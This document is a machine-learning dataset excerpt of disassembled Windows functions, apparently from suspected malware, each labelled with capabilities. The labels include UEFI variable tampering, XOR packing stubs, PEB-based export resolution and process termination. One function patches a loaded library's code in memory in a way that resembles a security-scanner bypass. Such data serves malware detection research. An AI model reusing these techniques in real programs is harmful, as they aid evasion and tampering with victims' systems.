joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403910
Capabilities:
Get uefi variable
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov eax, 1
xor ecx, ecx
push edi
mov edi, eax
mov dword [ebp - 4], eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00404a46
mov ebx, dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableW]
add esp, 4
mov esi, eax
push 2
push esi
push 0x41d400
xor eax, eax
push 0x4193c8
mov word [esi], ax
call ebx
test eax, eax
jne 0x4039aa
lea ebx, [ebx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xcb
je 0x4039a8
push esi
inc edi
call fcn.004058e7
xor ecx, ecx
mov eax, edi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00404a46
add esp, 8
mov esi, eax
lea eax, [edi + edi]
push eax
push esi
push 0x41d400
push 0x4193c8
call ebx
test eax, eax
je 0x403960
jmp 0x4039aa
xor edi, edi
push 0xc6
call fcn.00404a46
push 0xc6
mov ebx, eax
push 0
push ebx
call fcn.0040bcf0
mov cx, word [ebp + 8]
add esp, 0x10
mov word [ebx], cx
test edi, edi
je 0x4039ed
xor ecx, ecx
dec edi
movzx eax, word [esi + ecx*2]
cmp eax, dword [ebp + 8]
je 0x4039e8
mov edx, dword [ebp - 4]
mov word [ebx + edx*2], ax
inc edx
mov dword [ebp - 4], edx
inc ecx
cmp ecx, edi
jbe 0x4039d4
mov eax, dword [ebp - 4]
lea ecx, [eax + eax]
push ecx
push ebx
push 0x41d400
push 0x4193c8
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
push esi
mov edi, eax
call fcn.004058e7
push ebx
call fcn.004058e7
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403a20
Capabilities:
Get uefi variable
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
xor ecx, ecx
mov esi, 1
xor ebx, ebx
mov eax, esi
mov edx, 2
mul edx
seto cl
push edi
mov dword [ebp - 4], ebx
neg ecx
or ecx, eax
push ecx
call fcn.00404a46
add esp, 4
push 2
mov edi, eax
push edi
push 0x41d400
mov dword [ebp - 8], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableW]
push 0x4193c8
call ebx
test eax, eax
jne 0x403aba
lea esp, [esp]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xcb
je 0x403ab8
push edi
inc esi
call fcn.004058e7
xor ecx, ecx
mov eax, esi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00404a46
add esp, 8
mov edi, eax
lea eax, [esi + esi]
push eax
push edi
push 0x41d400
push 0x4193c8
call ebx
test eax, eax
je 0x403a70
jmp 0x403aba
xor esi, esi
push 0xc6
call fcn.00404a46
push 0x63
mov ebx, eax
push 0
push ebx
call fcn.0040bcf0
add esp, 0x10
test esi, esi
je 0x403b15
xor ecx, ecx
dec esi
lea ebx, [ebx]
movzx eax, word [edi + ecx*2]
cmp eax, dword [ebp + 8]
je 0x403af4
mov edx, dword [ebp - 4]
mov word [ebx + edx*2], ax
inc edx
mov dword [ebp - 4], edx
inc ecx
cmp ecx, esi
jbe 0x403ae0
mov eax, dword [ebp - 4]
lea ecx, [eax + eax]
push ecx
push ebx
push 0x41d400
push 0x4193c8
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
mov esi, eax
jmp 0x403b18
mov esi, dword [ebp - 8]
push edi
call fcn.004058e7
push ebx
call fcn.004058e7
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403fc0
Capabilities:
Get uefi variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x41c490]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ecx, ecx
mov edi, 1
mov eax, edi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00404a46
mov esi, eax
xor eax, eax
push 0x18c
push eax
lea ecx, [ebp - 0x190]
push ecx
mov word [esi], ax
call fcn.0040bcf0
mov ebx, dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableW]
add esp, 0x10
push 2
push esi
push 0x41d400
push 0x4193c8
call ebx
test eax, eax
jne 0x404072
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
cmp eax, 0xcb
je 0x4040cd
inc edi
call fcn.004058e7
xor ecx, ecx
mov eax, edi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00404a46
add esp, 8
mov esi, eax
lea eax, [edi + edi]
push eax
push esi
push 0x41d400
push 0x4193c8
call ebx
test eax, eax
je 0x404028
xor eax, eax
test edi, edi
je 0x404097
jmp 0x404080
movzx ecx, word [esi + eax*2]
inc dword [ebp + ecx*4 - 0x190]
lea ecx, [ebp + ecx*4 - 0x190]
inc eax
cmp eax, edi
jb 0x404080
xor edi, edi
lea esp, [esp]
cmp dword [ebp + edi*4 - 0x190], 0
je 0x4040e8
inc edi
cmp edi, 0x62
jbe 0x4040a0
push esi
call fcn.004058e7
add esp, 4
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405675
mov esp, ebp
pop ebp
ret
call fcn.004058e7
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405675
mov esp, ebp
pop ebp
ret
push esi
call fcn.004058e7
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405675
mov esp, ebp
pop ebp
ret
Function at 0x4048a0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea edx, [esi + 1]
xor ecx, ecx
cmp ecx, 2
jle 0x4048ba
test eax, edx
je 0x4048c7
inc ecx
add edx, edx
cmp ecx, 0x1a
jl 0x4048b1
mov eax, esi
pop esi
pop ebp
ret
mov eax, dword [ebp + 8]
add ecx, 0x41
push ecx
push 0x4194f8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, 1
pop esi
pop ebp
ret

Function at 0x4048f0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 0x80
xor edi, edi
call fcn.00404a46
push 0x80
mov ebx, eax
push edi
push ebx
mov dword [ebp - 4], ebx
call fcn.0040bcf0
add esp, 0x10
push edi
push 0x80
push ebx
push 0x62
call dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
jne 0x404985
add ebx, 8
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404931
sub eax, edx
sar eax, 1
lea edi, [eax + 1]
xor ecx, ecx
mov eax, edi
mov edx, 2
mul edx
seto cl
push esi
neg ecx
or ecx, eax
push ecx
call fcn.00404a46
push ebx
mov esi, eax
push edi
push esi
call fcn.00406d28
mov eax, dword [ebp + 8]
add esp, 0x10
push esi
push eax
push 9
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
push esi
mov edi, eax
call fcn.004058e7
mov ebx, dword [ebp - 4]
add esp, 4
pop esi
push ebx
call fcn.004058e7
add esp, 4
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4049a0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 0x80
xor edi, edi
call fcn.00404a46
push 0x80
mov ebx, eax
push edi
push ebx
mov dword [ebp - 4], ebx
call fcn.0040bcf0
add esp, 0x10
push edi
push 0x80
push ebx
push 0x62
call dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
jne 0x404a35
add ebx, 8
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4049e1
sub eax, edx
sar eax, 1
lea edi, [eax + 1]
xor ecx, ecx
mov eax, edi
mov edx, 2
mul edx
seto cl
push esi
neg ecx
or ecx, eax
push ecx
call fcn.00404a46
push ebx
mov esi, eax
push edi
push esi
call fcn.00406d28
mov eax, dword [ebp + 8]
add esp, 0x10
push esi
push eax
push 7
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
push esi
mov edi, eax
call fcn.004058e7
mov ebx, dword [ebp - 4]
add esp, 4
pop esi
push ebx
call fcn.004058e7
add esp, 4
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405675
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41c490]
jne 0x40567f
repz ret
jmp fcn.00409cc6
Function at 0x413721
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41c490]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040a4b8
and dword [ebp - 0x14], 0
cmp dword [0x41e434], 0
mov dword [ebp - 0x18], eax
jne 0x4137d4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41387c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41387c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41e434], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41e438], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41e43c], eax
call edi
push eax
call esi
mov dword [0x41e444], eax
test eax, eax
je 0x4137d4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41e440], eax
mov eax, dword [0x41e440]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41382d
cmp dword [0x41e444], ecx
je 0x41382d
push eax
call esi
push dword [0x41e444]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41382d
test ebx, ebx
je 0x41382d
call edi
test eax, eax
je 0x413824
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x413824
test byte [ebp - 8], 1
jne 0x41382d
or dword [ebp + 0x10], 0x200000
jmp 0x413860
mov eax, dword [0x41e438]
cmp eax, dword [ebp - 0x18]
je 0x413860
push eax
call esi
test eax, eax
je 0x413860
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x413860
mov eax, dword [0x41e43c]
cmp eax, dword [ebp - 0x18]
je 0x413860
push eax
call esi
test eax, eax
je 0x413860
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41e434]
call esi
test eax, eax
je 0x41387c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41387e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405675
leave
ret

Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x783431f4
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x3f733ebd
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x65e00196
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..rdata
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0xf466183
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x403585
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x38], 0
jne 0x4035b0
mov eax, dword [esi + 0x88]
test eax, eax
je 0x4035a1
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0x34]
mov word [esi + 0x38], 1
call fcn.0041d019
pop ecx
pop esi
ret

Function at 0x40423f
Capabilities:
Read file on windows
Read pipe
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x48f0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
lea eax, [ebp - 0x14]
xor ebx, ebx
xor ecx, ecx
push edi
push ebx
cmp dword [esi + 0x90], ebx
mov dword [ebp - 0x18], ebx
cmove eax, ecx
mov dword [ebp - 0x10], ebx
cmp byte [esi + 0x74], cl
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], ebx
cmove eax, ecx
push eax
push ebx
lea eax, [ebp - 0x18]
push eax
push 0x8000000
sub esp, 0x18
lea eax, [esi + 0x78]
mov ecx, esp
push eax
call fcn.00402aae
call fcn.00427f3a
add esp, 0x30
test al, al
jne 0x4042a5
mov byte [ebp - 8], bl
jmp 0x404373
mov eax, dword [esi + 0x90]
test eax, eax
je 0x4042c6
cmp dword [ebp - 0x14], ebx
je 0x4042c6
push ebx
push ebx
push dword [esi + 0x94]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp byte [esi + 0x74], bl
je 0x404366
cmp dword [ebp - 0x10], ebx
je 0x404366
push 0x1000
mov byte [esi + 0x3a], 1
call fcn.00438cbb
pop ecx
push ebx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov edi, eax
jmp 0x40434c
cmp dword [ebp - 8], 0
jne 0x404320
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x40435f
cmp dword [ebp - 0xc], 0x103
jne 0x40435f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404348
push 0
lea eax, [ebp - 8]
push eax
push 0x1000
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov byte [esi + 0x39], al
test al, al
je 0x40435f
push dword [ebp - 8]
mov ecx, dword [esi + 0x40]
push edi
call fcn.0040595d
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0x1000
push edi
push dword [ebp - 0x10]
call ebx
test eax, eax
jne 0x4042f3
push edi
call fcn.00438cc4
pop ecx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 8], 1
push dword [ebp - 8]
push dword [esi + 0x34]
call fcn.0041d0e1
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00438b11
leave
ret

Function at 0x40438f
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x38], 0
jne 0x4043bf
mov eax, dword [esi + 0x70]
push 0
test eax, eax
je 0x4043aa
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret
push dword [esi + 0x6c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 1
push dword [esi + 0x34]
call fcn.0041d0e1
pop ecx
pop ecx
pop esi
ret
Function at 0x40459a
Capabilities:
Create thread

Disassembly:
push 0
mov eax, 0x458406
call fcn.00438b51
mov edi, ecx
push dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push dword [ebp + 8]
push eax
call fcn.00404607
xor ecx, ecx
add esp, 0xc
mov ebx, dword [eax]
mov dword [eax], ecx
mov dword [ebp + 8], ebx
mov dword [ebp - 4], ecx
cmp dword [ebp + 0xc], ecx
je 0x4045d9
push 0x10
push dword [ebp + 0xc]
call fcn.00438c59
pop ecx
pop ecx
xor ecx, ecx
lea esi, [edi + 4]
push esi
push ecx
push ebx
push 0x404542
push ecx
push ecx
call fcn.00443080
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x4045fc
call fcn.00438b1f
ret 8
and dword [esi], 0
push 6
call fcn.00436f3c
int3
Function at 0x4076b8
Capabilities:
Get common file path

Disassembly:
push 0xc20
mov eax, 0x458adb
call fcn.00438b84
mov eax, 0x490924
xor ebx, ebx
mov ecx, eax
mov dword [ebp - 0xc2c], eax
call fcn.00405b77
lea eax, [ebp - 0xc28]
mov dword [ebp - 4], ebx
push eax
call fcn.00407147
pop ecx
push eax
mov ecx, section..data
call fcn.00402bb4
lea ecx, [ebp - 0xc28]
call fcn.0040221a
lea eax, [ebp - 0xc10]
mov esi, 0x400
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0xc10]
mov ecx, 0x48f030
push eax
call fcn.00406c61
lea eax, [ebp - 0x410]
push esi
push eax
call fcn.004271d5
pop ecx
pop ecx
test eax, eax
jne 0x40791f
lea ecx, [ebp - 0x410]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407745
sub ecx, edx
lea eax, [ebp - 0x410]
push ecx
push eax
mov ecx, 0x48f060
call fcn.00406c18
lea eax, [ebp - 0x410]
push eax
call fcn.0042717d
pop ecx
push ebx
push 0x47578e
mov ecx, 0x48f048
mov esi, eax
call fcn.00406c18
test esi, esi
je 0x40791f
mov eax, dword [esi + 0xc]
mov edi, ebx
cmp dword [eax], ebx
je 0x40791f
mov ecx, ebx
mov ebx, dword [ecx + eax]
test edi, edi
je 0x4077ae
push 1
push str._...
mov ecx, 0x48f048
call fcn.00406bbf
movzx eax, byte [ebx]
push eax
lea eax, [ebp - 0xc28]
push eax
call fcn.0040696b
pop ecx
pop ecx
cmp dword [ebp - 0xc14], 0xf
lea eax, [ebp - 0xc28]
push dword [ebp - 0xc18]
cmova eax, dword [ebp - 0xc28]
mov ecx, 0x48f048
push eax
mov byte [ebp - 4], 1
call fcn.00406bbf
lea ecx, [ebp - 0xc28]
mov byte [ebp - 4], 0
call fcn.004021f4
push 1
push 0x4757f0
mov ecx, 0x48f048
call fcn.00406bbf
movzx eax, byte [ebx + 1]
push eax
lea eax, [ebp - 0xc28]
push eax
call fcn.0040696b
pop ecx
pop ecx
cmp dword [ebp - 0xc14], 0xf
lea eax, [ebp - 0xc28]
push dword [ebp - 0xc18]
cmova eax, dword [ebp - 0xc28]
mov ecx, 0x48f048
push eax
mov byte [ebp - 4], 2
call fcn.00406bbf
lea ecx, [ebp - 0xc28]
mov byte [ebp - 4], 0
call fcn.004021f4
push 1
push 0x4757f4
mov ecx, 0x48f048
call fcn.00406bbf
movzx eax, byte [ebx + 2]
push eax
lea eax, [ebp - 0xc28]
push eax
call fcn.0040696b
pop ecx
pop ecx
cmp dword [ebp - 0xc14], 0xf
lea eax, [ebp - 0xc28]
push dword [ebp - 0xc18]
cmova eax, dword [ebp - 0xc28]
mov ecx, 0x48f048
push eax
mov byte [ebp - 4], 3
call fcn.00406bbf
lea ecx, [ebp - 0xc28]
mov byte [ebp - 4], 0
call fcn.004021f4
push 1
push 0x4757f8
mov ecx, 0x48f048
call fcn.00406bbf
movzx eax, byte [ebx + 3]
push eax
lea eax, [ebp - 0xc28]
push eax
call fcn.0040696b
pop ecx
pop ecx
cmp dword [ebp - 0xc14], 0xf
lea eax, [ebp - 0xc28]
mov byte [ebp - 4], 4
cmova eax, dword [ebp - 0xc28]
push dword [ebp - 0xc18]
mov ecx, 0x48f048
push eax
call fcn.00406bbf
lea ecx, [ebp - 0xc28]
mov byte [ebp - 4], 0
call fcn.004021f4
mov eax, dword [esi + 0xc]
inc edi
mov ecx, edi
shl ecx, 2
cmp dword [ecx + eax], 0
jne 0x407796
push 0x490924
call fcn.00436fc7
pop ecx
call fcn.00438b33
ret
Function at 0x4212fd
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x48f0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x478488
call fcn.0042228f
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x421373
push 0x478494
call fcn.0042228f
pop ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x421373
push ebx
lea eax, [ebp - 8]
mov ebx, 0x1000
push eax
push 0x40
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x421372
lea eax, [ebp - 8]
mov dword [esi], 0x70057b8
push eax
mov dword [esi + 4], 0x18c280
push dword [ebp - 8]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00438b11
leave
ret
Function at 0x422358
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 4], esi
mov ebx, 0x490a70
push eax
mov ecx, ebx
call fcn.00404bbd
mov eax, dword [eax + 8]
cmp byte [eax + 0xd], 0
jne 0x4223a4
cmp esi, dword [eax + 0x10]
jb 0x4223a4
lea eax, [ebp + 8]
mov dword [ebp + 8], esi
push eax
lea eax, [ebp - 8]
mov ecx, ebx
push eax
call fcn.004221f9
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
jmp 0x42244f
mov ax, word [esi]
push edi
xor edi, edi
mov ecx, edi
cmp ax, word [esi + 8]
je 0x4223cc
inc ecx
mov eax, ecx
and eax, 0x80000003
jns 0x4223c1
dec eax
or eax, 0xfffffffc
inc eax
mov ax, word [esi + eax*2]
cmp ax, word [esi + ecx*2 + 8]
jne 0x4223b2
lea eax, [ecx + 1]
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00438cbb
movzx edx, word [esi]
mov ebx, eax
pop ecx
movzx ecx, word [esi + 8]
mov eax, edx
mov esi, ecx
mov dword [ebp - 4], esi
mov esi, dword [ebp + 8]
cmp dx, cx
je 0x42242c
mov ecx, eax
mov edx, edi
mov eax, dword [ebp - 4]
movzx eax, ax
xor ecx, eax
inc edi
mov eax, edi
mov word [edx + ebx], cx
lea edx, [edi + edi]
and eax, 0x80000003
jns 0x42241e
dec eax
or eax, 0xfffffffc
inc eax
movzx ecx, word [esi + eax*2]
movzx eax, word [edx + esi + 8]
cmp cx, ax
jne 0x422406
xor eax, eax
mov dword [ebp + 8], esi
mov word [ebx + edi*2], ax
mov ecx, 0x490a70
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004221f9
pop edi
mov eax, dword [eax]
mov dword [eax + 0x14], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x425b45
Capabilities:
Access peb ldr_data
Get process heap force flags
Resolve function by parsing pe exports

Disassembly:
push 0x10
mov eax, 0x45abac
call fcn.00438b51
mov eax, dword fs:[0x18]
xor esi, esi
mov dword [ebp - 4], 1
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0xc]
jmp 0x425b87
cmp dword [ebp + 0x1c], 7
lea eax, [ebp + 8]
cmova eax, dword [ebp + 8]
push eax
push dword [edi + 0x30]
call fcn.00444231
pop ecx
pop ecx
test eax, eax
je 0x425b8e
mov edi, dword [edi]
cmp dword [edi + 0x18], esi
jne 0x425b6b
jmp 0x425b95
mov ecx, dword [edi + 0x18]
test ecx, ecx
jne 0x425bb1
cmp dword [ebp + 0x1c], 7
lea eax, [ebp + 8]
cmova eax, dword [ebp + 8]
push eax
call fcn.00426a5f
pop ecx
mov ecx, eax
test ecx, ecx
je 0x425c36
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x20]
add edx, ecx
mov dword [ebp - 0x18], edx
add ebx, ecx
mov edx, dword [eax + 0x1c]
mov eax, dword [eax + 0x18]
add edx, ecx
mov dword [ebp - 0x1c], edx
mov edx, esi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x425c20
mov eax, dword [ebx + edx*4]
lea edi, [ebp + 0x20]
add eax, ecx
cmp dword [ebp + 0x34], 0xf
cmova edi, dword [ebp + 0x20]
mov bl, byte [eax]
cmp bl, byte [edi]
jne 0x425c0e
test bl, bl
je 0x425c0a
mov bl, byte [eax + 1]
cmp bl, byte [edi + 1]
jne 0x425c0e
add eax, 2
add edi, 2
test bl, bl
jne 0x425bee
mov eax, esi
jmp 0x425c13
sbb eax, eax
or eax, 1
test eax, eax
je 0x425c4e
mov ebx, dword [ebp - 0x14]
inc edx
cmp edx, dword [ebp - 0x10]
jb 0x425bde
cmp dword [ebp + 0x34], 0xf
lea eax, [ebp + 0x20]
cmova eax, dword [ebp + 0x20]
push eax
push ecx
call fcn.0042683a
pop ecx
pop ecx
mov esi, eax
lea ecx, [ebp + 8]
call fcn.0040221a
lea ecx, [ebp + 0x20]
call fcn.004021f4
mov eax, esi
call fcn.00438b1f
ret
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
movzx eax, word [eax + edx*2]
mov esi, dword [esi + eax*4]
add esi, ecx
jmp 0x425c36